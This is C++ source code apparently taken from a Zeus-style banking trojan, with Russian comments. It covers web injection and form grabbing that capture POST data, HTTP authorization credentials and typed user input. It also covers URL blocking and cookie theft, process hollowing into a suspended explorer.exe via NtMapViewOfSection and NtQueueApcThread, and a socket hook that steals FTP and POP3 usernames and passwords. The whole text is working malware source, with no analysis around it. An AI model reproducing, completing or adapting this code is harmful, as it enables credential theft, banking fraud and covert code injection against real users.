WDEBUG1(WDDT_INFO, "sessionsCount=%u.", sessionsCount); for(DWORD i = 0; i < sessionsCount; i++) { WDEBUG4(WDDT_INFO, "sessions[%u].State=%u, sessions[%u].SessionId=%u", i, sessions[i].State, i, sessions[i].SessionId); if((sessions[i].State == WTSActive || sessions[i].State == WTSDisconnected) && sessions[i].SessionId != activeSession) { createProcessForSession(queryUserToken, sessions[i].SessionId, sid, fileName); } } freeMemory(sessions); } # if(BO_DEBUG > 0) else WDEBUG0(WDDT_ERROR, "WTSEnumerateSessionsW failed."); # endif } } CWA(kernel32, FreeLibrary)(dll); } }
bool HttpGrabber::_executeInjects(const LPSTR url, LPBYTE *context, LPDWORD contextSize, const INJECTFULLDATA *dataList, DWORD count) { DWORD changesCount = 0; //Кол. примененых инжектов. OutputDebugStringA(url); for(DWORD i = 0; i < count; i++) { INJECTFULLDATA *curData = (INJECTFULLDATA *)&dataList[i]; OutputDebugStringA(curData->contextMask); DWORD matchFlags = curData->flags & HttpInject::FLAG_CONTEXT_CASE_INSENSITIVE ? Str::MATCH_CASE_INSENSITIVE_FAST : 0; //Проверка маски контента. if(curData->contextMask != NULL && !_matchContextA(curData->contextMask, *context, *contextSize, matchFlags)) { # if defined WDEBUG0 WDEBUG0(WDDT_INFO, "Context no matched."); # endif OutputDebugStringA("1"); continue; } OutputDebugStringA("2"); LPBYTE grabbedData = NULL; DWORD grabbedDataSize = 0; LPBYTE curBlock = (LPBYTE)curData->injects; LPBYTE endBlock = curBlock + curData->injectsSize; //Применяем инжекты, грабим данные. while(curBlock < endBlock) { //Ищим место замены. DWORD offsetBegin; //Начало данных для замены. DWORD offsetEnd; //Конец данных для замены. HttpInject::INJECTBLOCK *blockPrefix = (HttpInject::INJECTBLOCK *)curBlock; HttpInject::INJECTBLOCK *blockPostfix = (HttpInject::INJECTBLOCK *)((LPBYTE)blockPrefix + blockPrefix->size); HttpInject::INJECTBLOCK *blockNew = (HttpInject::INJECTBLOCK *)((LPBYTE)blockPostfix + blockPostfix->size); curBlock = (LPBYTE)blockNew + blockNew->size; //Следующий элемент. //Получаем позицию начала. OutputDebugStringA("3"); if(blockPrefix->size == sizeof(HttpInject::INJECTBLOCK)) { OutputDebugStringA("4"); offsetBegin = 0; } else if(!_matchContextExA((LPBYTE)blockPrefix + sizeof(HttpInject::INJECTBLOCK), blockPrefix->size - sizeof(HttpInject::INJECTBLOCK), *context, *contextSize, NULL, &offsetBegin, matchFlags)) { OutputDebugStringA("5"); continue; } //Получаем позицию конца. if(blockPostfix->size == sizeof(HttpInject::INJECTBLOCK)) { OutputDebugStringA("6"); if(blockPrefix->size == sizeof(HttpInject::INJECTBLOCK))offsetEnd = *contextSize; else offsetEnd = offsetBegin; } else if(_matchContextExA((LPBYTE)blockPostfix + sizeof(HttpInject::INJECTBLOCK), blockPostfix->size - sizeof(HttpInject::INJECTBLOCK), *context + offsetBegin, *contextSize - offsetBegin, &offsetEnd, NULL, matchFlags)) { OutputDebugStringA("7"); if(blockPrefix->size == sizeof(HttpInject::INJECTBLOCK))offsetBegin = offsetEnd; else offsetEnd += offsetBegin; } else { OutputDebugStringA("8"); continue; } DWORD blockNewDataSize = blockNew->size - sizeof(HttpInject::INJECTBLOCK); //Размер ставляемых данных. DWORD matchedDataSize = offsetEnd - offsetBegin; //Размер наденых данных. //Замена. OutputDebugStringA("9"); if(curData->flags & HttpInject::FLAG_IS_INJECT) { OutputDebugStringA("10"); DWORD newSize = *contextSize - matchedDataSize + blockNewDataSize; LPBYTE newBuf = (LPBYTE)Mem::alloc(newSize); if(newBuf != NULL) //Не обращаем внимание на ошибку. { OutputDebugStringA("11"); Mem::_copy(newBuf, *context, offsetBegin); Mem::_copy(newBuf + offsetBegin, (LPBYTE)blockNew + sizeof(HttpInject::INJECTBLOCK), blockNewDataSize); Mem::_copy(newBuf + offsetBegin + blockNewDataSize, *context + offsetEnd, *contextSize - offsetEnd); WriteGrabberData("url1", *context, *contextSize); Mem::free(*context); *context = newBuf; *contextSize = newSize; WriteGrabberData("url2", *context, *contextSize); changesCount++; } } //Сохранение. else if(curData->flags & HttpInject::FLAG_IS_CAPTURE) { if(Mem::reallocEx(&grabbedData, grabbedDataSize + blockNewDataSize + matchedDataSize + 1/*\n*/ + 1/*\0*/)) //Не обращаем внимание на ошибку. { if(blockNewDataSize > 0) { Mem::_copy(grabbedData + grabbedDataSize, (LPBYTE)blockNew + sizeof(HttpInject::INJECTBLOCK), blockNewDataSize); grabbedDataSize += blockNewDataSize; } Mem::_copy(grabbedData + grabbedDataSize, *context + offsetBegin, matchedDataSize); if(curData->flags & HttpInject::FLAG_CAPTURE_NOTPARSE)grabbedDataSize += matchedDataSize; else grabbedDataSize += HttpTools::_removeTagsA((LPSTR)grabbedData + grabbedDataSize, matchedDataSize); grabbedData[grabbedDataSize++] = '\n'; grabbedData[grabbedDataSize] = 0; } } } //Пишим награбленное. if(curData->flags & HttpInject::FLAG_IS_CAPTURE) { /*if(grabbedData == NULL) { grabbedDataSize = 35; grabbedData = (LPBYTE)Str::_CopyExA("*NO MATCHES FOUND FOR CURRENT MASK*", grabbedDataSize); }*/ if(grabbedData != NULL) { if(curData->flags & HttpInject::FLAG_CAPTURE_TOFILE) { char host[260]; URL_COMPONENTSA uc; Mem::_zero(&uc, sizeof(URL_COMPONENTSA)); uc.dwStructSize = sizeof(URL_COMPONENTSA); uc.lpszHostName = host; uc.dwHostNameLength = sizeof(host) / sizeof(char) - 1; if(CWA(wininet, InternetCrackUrlA)(url, 0, 0, &uc) == TRUE && uc.dwHostNameLength > 0) { /* WCHAR file[MAX_PATH]; SYSTEMTIME st; CWA(kernel32, GetSystemTime)(&st); CSTR_GETW(decodedString, httpgrabber_inject_path_format); Str::_sprintfW(file, sizeof(file) / sizeof(WCHAR), decodedString, host, st.wYear - 2000, st.wMonth, st.wDay); Report::writeData(BLT_FILE, NULL, file, grabbedData, grabbedDataSize); */ WriteGrabberData(url, grabbedData, grabbedDataSize); } } else { LPWSTR urlW = Str::_ansiToUnicodeEx(url, -1); if(urlW != NULL) { CSTR_GETW(decodedString, httpgrabber_inject_grabbed_format); Report::writeStringFormat(BLT_GRABBED_HTTP, urlW, NULL, decodedString, urlW, grabbedData); Mem::free(urlW); } } Mem::free(grabbedData); } } if(curData->blockOnUrl != NULL) { //Суточное ограничение. if(curData->flags & HttpInject::FLAG_ONCE_PER_DAY) { WCHAR key[CORE_REGISTRY_KEY_BUFFER_SIZE]; WCHAR value[max(CORE_REGISTRY_VALUE_BUFFER_SIZE, (MD5HASH_SIZE * 2 + 1))]; Core::getRegistryValue(Core::RV_LOCALCONFIG, key, value); //Получаем хэш. BYTE hash[MD5HASH_SIZE]; if(Crypt::_md5Hash(hash, curData->blockOnUrl, Str::_LengthA(curData->blockOnUrl))) { Str::_toHexW(hash, MD5HASH_SIZE, value); //Ставим значение. SYSTEMTIME curTime; CWA(kernel32, GetLocalTime)(&curTime); Registry::_setValueAsBinary(HKEY_CURRENT_USER, key, value, REG_BINARY, &curTime, sizeof(SYSTEMTIME)); } } //Обычная блокировка. else { # if defined WDEBUG1 WDEBUG1(WDDT_INFO, "Wating for blocking url [%S].", curData->blockOnUrl); # endif CWA(kernel32, EnterCriticalSection)(&blockInjectInfo.cs); Mem::free(blockInjectInfo.urlMaskForBlock); Mem::free(blockInjectInfo.blockOnUrl); blockInjectInfo.urlMaskForBlock = Str::_CopyExA(curData->urlMask, -1); blockInjectInfo.blockOnUrl = Str::_CopyExA(curData->blockOnUrl, -1); CWA(kernel32, LeaveCriticalSection)(&blockInjectInfo.cs); } } } return (changesCount > 0); }
DWORD HttpGrabber::analizeRequestData(REQUESTDATA *requestData) { #if defined WDEBUG6 WDEBUG6(WDDT_INFO, "requestData->handle=[0x%p], requestData->url=[%S], requestData->referer=[%S], requestData->contentType=[%S], requestData->verb=[%u], requestData->postDataSize=[%u].", requestData->handle, requestData->url, requestData->referer, requestData->contentType, requestData->verb, requestData->postDataSize ); #endif DWORD retVal = 0; signed char writeReport = -1;/*-1 - по умолчанию, 0 - не писать, 1 - принудительно писать*/; //Проверяем на блокировку. CWA(kernel32, EnterCriticalSection)(&blockInjectInfo.cs); if(blockInjectInfo.blockOnUrl != NULL && blockInjectInfo.urlMaskForBlock != NULL && _matchUrlA(blockInjectInfo.blockOnUrl, requestData->url, requestData->urlSize, 0)) { # if defined WDEBUG1 WDEBUG1(WDDT_INFO, "Detected blocking url [%S] for current url.", blockInjectInfo.blockOnUrl); # endif //Нельзя юзать requestData->localConfig т.к. она открта только для чтения. BinStorage::STORAGE *localConfig = LocalConfig::beginReadWrite(); if(localConfig != NULL) { if(_addUrlMaskToList(LocalConfig::ITEM_URLLIST_BLOCKEDINJECTS, &localConfig, blockInjectInfo.urlMaskForBlock)) { LocalConfig::endReadWrite(localConfig); } else { Mem::free(localConfig); LocalConfig::endReadWrite(NULL); } } Mem::free(blockInjectInfo.urlMaskForBlock); Mem::free(blockInjectInfo.blockOnUrl); blockInjectInfo.urlMaskForBlock = NULL; blockInjectInfo.blockOnUrl = NULL; } CWA(kernel32, LeaveCriticalSection)(&blockInjectInfo.cs); //Проверяем запрос по фильтру. if(requestData->dynamicConfig != NULL) { DWORD httpFilterSize; LPSTR httpFilter = (LPSTR)BinStorage::_getItemDataEx(requestData->dynamicConfig, CFGID_HTTP_FILTER, BinStorage::ITEMF_IS_OPTION, &httpFilterSize); if(Str::_isValidMultiStringA(httpFilter, httpFilterSize)) { LPSTR curFilter = httpFilter; do if(curFilter[1] != 0) { //Опеределяем тип фильтра. char filterType; switch(curFilter[0]) { case '!': filterType = 1; break; //Не писать в отчет, case '@': filterType = 2; break; //Скриншот. case '-': filterType = 3; break; //Сохранение всех куков связаных с URL, и блокировка доступа. case '^': filterType = 4; break; //Блокировка доступа. default: filterType = 0; break; //Принудительно писать в отчет. } if(filterType != 0)curFilter++; //Сравниваем URL. if(_matchUrlA(curFilter, requestData->url, requestData->urlSize, 0)) { # if defined WDEBUG3 WDEBUG3(WDDT_INFO, "requestData->url=[%S] matched [%S] for filter type %u.", requestData->url, curFilter, filterType); # endif switch(filterType) { case 0: { writeReport = 0; break; } case 1: { writeReport = 1; break; } case 2: { char host[260]; URL_COMPONENTSA uc; Mem::_zero(&uc, sizeof(URL_COMPONENTSA)); uc.dwStructSize = sizeof(URL_COMPONENTSA); uc.lpszHostName = host; uc.dwHostNameLength = sizeof(host) / sizeof(char) - 1; if(CWA(wininet, InternetCrackUrlA)(requestData->url, requestData->urlSize, 0, &uc) == TRUE && uc.dwHostNameLength > 0) { UserHook::enableImageOnClick(USERCLICK2IMAGE_LIMIT, host); } break; } case 3: { //FIXME: saveSessionCookies(requestData->url); //НЕ НАДА ТУТ break! } case 4: { retVal |= ANALIZEFLAG_URL_BLOCKED; writeReport = 1; break; } } if(filterType != 2)break; //В случаи с скриншотом, продолжаем поиск. } } while((curFilter = Str::_multiStringGetIndexA(curFilter, 1))); } Mem::free(httpFilter); } //Если URL, пока не является заблакируемой. Пытаемся ее заблокировать. if((retVal & HttpGrabber::ANALIZEFLAG_URL_BLOCKED) == 0 && requestData->localConfig != NULL) { if(_isUrlInList(LocalConfig::ITEM_URLLIST_BLOCKED, requestData->localConfig, requestData->url, requestData->urlSize, 0)) { //FIXME: check, this URL founded in blacklist. retVal |= HttpGrabber::ANALIZEFLAG_URL_BLOCKED; } } //Проверяем тип содержимого. if(requestData->contentTypeSize >= (CryptedStrings::len_httpgrabber_urlencoded - 1)) { CSTR_GETA(formUrlEncoded, httpgrabber_urlencoded); if( Mem::_compare(requestData->contentType, formUrlEncoded, (CryptedStrings::len_httpgrabber_urlencoded - 1)) == 0 && (requestData->contentType[CryptedStrings::len_httpgrabber_urlencoded - 1] == ';' || requestData->contentType[CryptedStrings::len_httpgrabber_urlencoded - 1] == 0) )retVal |= HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED; } //Проверяем наличие HTTP-авторизации. LPWSTR authorizationData = NULL; int authorizationDataSize = 0; if(requestData->authorizationData.userName != NULL && *requestData->authorizationData.userName != 0 && requestData->authorizationData.password != NULL && *requestData->authorizationData.password != 0) { CSTR_GETW(format, httpgrabber_auth_normal); authorizationDataSize = Str::_sprintfExW(&authorizationData, format, requestData->authorizationData.userName, requestData->authorizationData.password); } else if(requestData->authorizationData.unknownType != NULL && *requestData->authorizationData.unknownType != 0) { CSTR_GETW(format, httpgrabber_auth_encoded); authorizationDataSize = Str::_sprintfExW(&authorizationData, format, requestData->authorizationData.unknownType); } //Проверяем хэш HTTP-авторизации. if(authorizationDataSize > 0) { DWORD hash = Crypt::crc32Hash(authorizationData, authorizationDataSize * sizeof(WCHAR)); if(lastHttpAuthorizationHash == hash) { Mem::free(authorizationData); authorizationData = NULL; } else { lastHttpAuthorizationHash = hash; retVal |= ANALIZEFLAG_AUTHORIZATION; } } //Опеределям нужно ли писать отчет. { if(writeReport == -1) { if((requestData->verb == VERB_POST && requestData->postDataSize > 0) || retVal & ANALIZEFLAG_AUTHORIZATION)retVal |= ANALIZEFLAG_SAVED_REPORT; } else if(writeReport == 1)retVal |= ANALIZEFLAG_SAVED_REPORT; } //Пишим отчет if(retVal & ANALIZEFLAG_SAVED_REPORT) { LPSTR postData = NULL; bool ok = false; //Форматируем POST-запрос. if(requestData->postDataSize == 0) { CSTR_GETA(decodedString, httpgrabber_report_empty); postData = Str::_CopyExA(decodedString, CryptedStrings::len_httpgrabber_report_empty - 1); } else if(retVal & HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED) { if((postData = Str::_CopyExA((LPSTR)requestData->postData, requestData->postDataSize)) != NULL) { for(DWORD i = 0; i < requestData->postDataSize; i++) { if(postData[i] == '&')postData[i] = '\n'; else if(postData[i] == '+')postData[i] = ' '; } } } else if(requestData->contentTypeSize == 0) { CSTR_GETA(decodedString, httpgrabber_report_unknown); postData = Str::_CopyExA(decodedString, CryptedStrings::len_httpgrabber_report_unknown - 1); } //Формируем отчет. if(postData != NULL) { LPWSTR userInput; UserHook::getInput(&userInput); LPWSTR urlUnicode = Str::_ansiToUnicodeEx(requestData->url, requestData->urlSize); if(urlUnicode != NULL) { URL_COMPONENTSA uc; Mem::_zero(&uc, sizeof(URL_COMPONENTSA)); uc.dwStructSize = sizeof(URL_COMPONENTSA); if(CWA(wininet, InternetCrackUrlA)(requestData->url, requestData->urlSize, 0, &uc) == TRUE) { //Пишим. CSTR_GETW(reportFormat, httpgrabber_report_format); CSTR_GETW(reportBlocked, httpgrabber_report_blocked); char* buf = (char*)Mem::alloc(lstrlenA(postData) + 256); wsprintfA( buf, "referer: %s, user input: %s, authorization data: %s, post data: %s", requestData->referer == NULL ? "-" : requestData->referer, (char*)(userInput == NULL ? L"" : userInput), (char*)(authorizationData == NULL ? L"" : authorizationData), postData); WriteGrabberData( requestData->url, (LPBYTE)buf, -1 ); Mem::free(buf); /* ok = Report::writeStringFormat(uc.nScheme == INTERNET_SCHEME_HTTPS ? BLT_HTTPS_REQUEST : BLT_HTTP_REQUEST, urlUnicode, NULL, reportFormat, urlUnicode, retVal & ANALIZEFLAG_URL_BLOCKED ? reportBlocked : L"", requestData->referer == NULL ? "-" : requestData->referer, userInput == NULL ? L"" : userInput, authorizationData == NULL ? L"" : authorizationData, postData); */ } Mem::free(urlUnicode); } Mem::free(userInput); Mem::free(postData); } if(ok == false)retVal &= ~ANALIZEFLAG_SAVED_REPORT; } Mem::free(authorizationData); //Если URL оказалась заблокирована, применять следущие флаги нет смысла. if(retVal & ANALIZEFLAG_URL_BLOCKED) { # if defined WDEBUG0 WDEBUG0(WDDT_INFO, "Current url blocked."); # endif goto END; } //Проверка на инжекты и фейки. if(checkRequestForInject(requestData)) { retVal |= ANALIZEFLAG_URL_INJECT; # if defined WDEBUG1 WDEBUG1(WDDT_INFO, "Accepted %u injects for current URL.", requestData->injectsCount); # endif } //Проверка на замену POST-данных. if(retVal & HttpGrabber::ANALIZEFLAG_POSTDATA_URLENCODED && replacePostData(requestData)) { retVal |= ANALIZEFLAG_POSTDATA_REPLACED; # if defined WDEBUG1 WDEBUG1(WDDT_INFO, "POST-data replaced [%S].", requestData->postData); # endif } END: return retVal; }
void* CoreInject::_copyModuleToExplorer(void *image) { #if defined _WIN64 PIMAGE_NT_HEADERS64 ntHeader = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); #else PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS)((LPBYTE)image + ((PIMAGE_DOS_HEADER)image)->e_lfanew); #endif typedef NTSTATUS (WINAPI *tNtMapViewOfSection)(HANDLE,HANDLE,LPVOID,ULONG,SIZE_T,LARGE_INTEGER*,SIZE_T*,DWORD,ULONG,ULONG); typedef NTSTATUS (WINAPI *tNtQueueApcThread)(HANDLE,PIO_APC_ROUTINE,PVOID,PIO_STATUS_BLOCK,ULONG); CSTR_GETA(ntmapviewofsection,ntdll_ntmapviewofsection); CSTR_GETA(ntqueueapcthread,ntdll_ntqueueapcthread); CSTR_GETW(slashexplorerdotexe, explorer_exe); tNtMapViewOfSection NtMapViewOfSection=(tNtMapViewOfSection)Core::__GetProcAddress(coreData.modules.ntdll,ntmapviewofsection); tNtQueueApcThread NtQueueApcThread=(tNtQueueApcThread)Core::__GetProcAddress(coreData.modules.ntdll,ntqueueapcthread); WCHAR path[MAX_PATH]; if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_WINDOWS, NULL, SHGFP_TYPE_CURRENT, path) == S_OK) Str::_catW(path, slashexplorerdotexe, CryptedStrings::len_explorer_exe - 1); WDEBUG1(WDDT_INFO, "EXPLORER.EXE PATH: %s", path); DWORD imageSize = ntHeader->OptionalHeader.SizeOfImage; bool ok = false; DWORD viewSize = imageSize; void* remoteMem = 0; if(CWA(kernel32, IsBadReadPtr)(coreData.modules.current, imageSize) != 0)return NULL; //Выделние памяти для модуля. STARTUPINFOW st; PROCESS_INFORMATION pi; Mem::_zero(&st, sizeof(STARTUPINFOW));Mem::_zero(&pi, sizeof(PROCESS_INFORMATION)); if(CWA(kernel32,CreateProcessW)(path,0,0,0,0,CREATE_SUSPENDED,0,0,&st,&pi) == false) {WDEBUG0(WDDT_ERROR, "Cant create explorer.exe");return NULL;} HANDLE hFile=CWA(kernel32,CreateFileMapping)(INVALID_HANDLE_VALUE,NULL, PAGE_EXECUTE_READWRITE,0,imageSize,NULL); if(!NT_SUCCESS(NtMapViewOfSection(hFile, pi.hProcess, &remoteMem, 0,0,0,&viewSize,1,0,PAGE_EXECUTE_READWRITE) != 0)) {WDEBUG0(WDDT_ERROR, "Cannot map into new process1");return NULL;} CWA(kernel32,TerminateProcess)(pi.hProcess,0); Mem::_zero(&st, sizeof(STARTUPINFOW));Mem::_zero(&pi, sizeof(PROCESS_INFORMATION)); if(CWA(kernel32,CreateProcessW)(path,0,0,0,0,CREATE_SUSPENDED,0,0,&st,&pi) == false) {WDEBUG0(WDDT_ERROR, "Cant create explorer.exe");return NULL;} //Verjacrinq, uxxum enq koder@ u bacum noric if(remoteMem != NULL) { //Создаем локальный буфер, в котором будем вносить измненеия. LPBYTE buf=(LPBYTE)CWA(kernel32,MapViewOfFile)(hFile,FILE_MAP_ALL_ACCESS,0,0,0); if(buf <= 0) {WDEBUG0(WDDT_ERROR, "buf is null!");return NULL;} Mem::_copy(buf, image, imageSize); if(buf != NULL) { //Изменяем релоки. IMAGE_DATA_DIRECTORY *relocsDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; if(relocsDir->Size > 0 && relocsDir->VirtualAddress > 0) { DWORD_PTR delta = (DWORD_PTR)((LPBYTE)remoteMem - ntHeader->OptionalHeader.ImageBase); DWORD_PTR oldDelta = (DWORD_PTR)((LPBYTE)image - ntHeader->OptionalHeader.ImageBase); IMAGE_BASE_RELOCATION *relHdr = (IMAGE_BASE_RELOCATION *)(buf + relocsDir->VirtualAddress); while(relHdr->VirtualAddress != 0) { if(relHdr->SizeOfBlock >= sizeof(IMAGE_BASE_RELOCATION))//FIXME: Что это? { DWORD relCount = (relHdr->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); LPWORD relList = (LPWORD)((LPBYTE)relHdr + sizeof(IMAGE_BASE_RELOCATION)); for(DWORD i = 0; i < relCount; i++)if(relList[i] > 0) { DWORD_PTR *p = (DWORD_PTR *)(buf + (relHdr->VirtualAddress + (0x0FFF & (relList[i])))); *p -= oldDelta; *p += delta; } } relHdr = (IMAGE_BASE_RELOCATION *)((LPBYTE)relHdr + relHdr->SizeOfBlock); } //Копируем образ в процесс. //ok = CWA(kernel32, WriteProcessMemory)(process, remoteMem, buf, imageSize, NULL) ? true : false; { //Указываем текущий модуль. if(!copyDataToBuffer(buf, &coreData.modules.current, &remoteMem, sizeof(HMODULE))) { WDEBUG0(WDDT_ERROR, "Failed coreData.modules.current."); } { HANDLE processMutex = Core::createMutexOfProcess(pi.dwProcessId); HANDLE newMutex; if(CWA(kernel32, DuplicateHandle)(CURRENT_PROCESS, processMutex, pi.hProcess, &newMutex, 0, FALSE, DUPLICATE_SAME_ACCESS) == FALSE) { WDEBUG0(WDDT_ERROR, "Failed to duplicate mutex of process."); } } DWORD proccessFlags = 0; proccessFlags |= (coreData.proccessFlags & Core::CDPT_INHERITABLE_MASK); if(!copyDataToBuffer(buf, &coreData.proccessFlags, &proccessFlags, sizeof(DWORD))) { WDEBUG0(WDDT_ERROR, "Failed coreData.proccessFlags."); } //coreData.globalHandles.stopEvent. if(!copyHandleToBuffer(pi.hProcess, buf, &coreData.globalHandles.stopEvent, coreData.globalHandles.stopEvent)) { WDEBUG0(WDDT_ERROR, "Failed coreData.globalHandles.stopEvent."); } //coreData.globalHandles.stopedEvent. if(!copyHandleToBuffer(pi.hProcess, buf, &coreData.globalHandles.stopedEvent, coreData.globalHandles.stopedEvent)) { WDEBUG0(WDDT_ERROR, "Failed coreData.globalHandles.stopedEvent."); } } if(!NT_SUCCESS(NtMapViewOfSection(hFile, pi.hProcess, &remoteMem, 0,0,0,&viewSize,1,0,PAGE_EXECUTE_READWRITE) != 0)) {WDEBUG0(WDDT_ERROR, "Cannot map into new process");return NULL;} if(!NT_SUCCESS(NtQueueApcThread(pi.hThread, (PIO_APC_ROUTINE)((LPBYTE)msg - (LPBYTE)coreData.modules.current + (LPBYTE)remoteMem), 0 ,0,0))){WDEBUG0(WDDT_ERROR, "NtQueueApcThread error"); CWA(kernel32,TerminateProcess)(pi.hProcess,0);}; CWA(kernel32,ResumeThread)(pi.hThread); CWA(kernel32,CloseHandle)(pi.hThread); CWA(kernel32,CloseHandle)(pi.hProcess); } CWA(kernel32,UnmapViewOfFile)(buf); CWA(kernel32,CloseHandle)(hFile); } if(!ok) { remoteMem = NULL; } } return remoteMem; }
static bool socketGrabber(SOCKET socket, const LPBYTE data, const DWORD dataSize) { if(socket == INVALID_SOCKET || data == NULL || dataSize > 512)return false; //Поиск имени, Поиск пароля if(dataSize > 6 && (XOR_COMPARE(data, 0x52455355/*USER*/) || XOR_COMPARE(data, 0x53534150/*PASS*/)) && data[4] == ' ') { LPSTR argOffset = (LPSTR)(data + 5); DWORD argSize = dataSize - 5; LPWSTR argument; //LPSTR nextLine; WDEBUG3(WDDT_INFO, "USER/PASS, argOffset=%u, dataSize=%u, argSize=%u", 5, dataSize, argSize); //Выделаяем аргумент команды. { DWORD i = 0; for(; i < argSize; i++) { BYTE c = argOffset[i]; if(c == '\r' || c == '\n') { //nextLine = &argOffset[i + 1]; break; } if(c < 0x20)return false; } if(i == 0 || i == argSize || (argument = Str::_utf8ToUnicode(argOffset, i)) == NULL)return false; WDEBUG1(WDDT_INFO, "argument=%s", argument); } //Добавляем промежуточные данные. SOCKETDATA *sd; bool ok = false; CWA(kernel32, EnterCriticalSection)(&socketDataCs); if((sd = socketDataSearch(socket)) == NULL && (sd = socketDataCreate(socket)) == NULL)Mem::free(argument); else { ok = true; if(data[0] == 'U') { socketDataFree(sd, true); //Обнуляем данные. //Mem::free(sd->userName); sd->userName = argument; } else //if(data[0] == 'P') { Mem::free(sd->pass); sd->pass = argument; } sd->socket = socket; } CWA(kernel32, LeaveCriticalSection)(&socketDataCs); //Рекрусия на следующие данные после \r\n. /* if(ok) { LPSTR dataEnd = data + dataSize; while(nextLine < dataEnd && (*nextLine == '\r' || *nextLine == '\n'))nextLine++; if(nextLine < dataEnd)ok = socketGrabber(socket, (LPBYTE)nextLine, (DWORD)(DWORD_PTR)(dataEnd - nextLine)); } */ return ok; } //Опеределение протокола. if(dataSize > 1) { bool ok = false; CWA(kernel32, EnterCriticalSection)(&socketDataCs); SOCKETDATA *sd = socketDataSearch(socket); if(sd != NULL) { if(sd->userName == NULL || sd->pass == NULL)socketDataFree(sd); else { BYTE protocolType = 0; WCHAR protocolTypeStr[max(CryptedStrings::len_sockethook_report_prefix_ftp, CryptedStrings::len_sockethook_report_prefix_pop3)]; //Опеределяем протокол. if(0){} # if(BO_SOCKET_FTP > 0) else if((dataSize >= 3 && (data[0] == 'C' || data[0] == 'P') && data[1] == 'W' && data[2] == 'D') || (dataSize >= 4 && (XOR_COMPARE(data, 0x45505954/*TYPE*/) || XOR_COMPARE(data, 0x54414546/*FEAT*/) || XOR_COMPARE(data, 0x56534150/*PASV*/))) ) { protocolType = BLT_LOGIN_FTP; CryptedStrings::_getW(CryptedStrings::id_sockethook_report_prefix_ftp, protocolTypeStr); } # endif # if(BO_SOCKET_POP3 > 0) else if(dataSize >= 4 && (XOR_COMPARE(data, 0x54415453/*STAT*/) || XOR_COMPARE(data, 0x5453494C/*LIST*/))) { protocolType = BLT_LOGIN_POP3; CryptedStrings::_getW(CryptedStrings::id_sockethook_report_prefix_pop3, protocolTypeStr); } # endif WDEBUG1(WDDT_INFO, "protocolType=%u", protocolType); if(protocolType != 0) { SOCKADDR_STORAGE sa; int size = sizeof(SOCKADDR_STORAGE); if(CWA(ws2_32, getpeername)(socket, (sockaddr *)&sa, &size) == 0 && !WSocket::_isLocalIp(&sa)) { bool write = false; if(0){} # if(BO_SOCKET_POP3 > 0) else if(protocolType == BLT_LOGIN_POP3) { write = true; } # endif # if(BO_SOCKET_FTP > 0) else if(protocolType == BLT_LOGIN_FTP) { CSTR_GETW(anonymous, sockethook_user_anonymous); if(Str::_CompareW(sd->userName, anonymous, -1, CryptedStrings::len_sockethook_user_anonymous - 1) != 0)write = true; } # endif if(write == true) { WCHAR ipAddress[MAX_PATH]; WSocket::ipToStringW(&sa, ipAddress); CSTR_GETW(reportFormat, sockethook_report_format); Report::writeStringFormat(protocolType, NULL, NULL, reportFormat, protocolTypeStr, sd->userName, sd->pass, ipAddress); } } socketDataFree(sd); } } } CWA(kernel32, LeaveCriticalSection)(&socketDataCs); return ok; } return false; }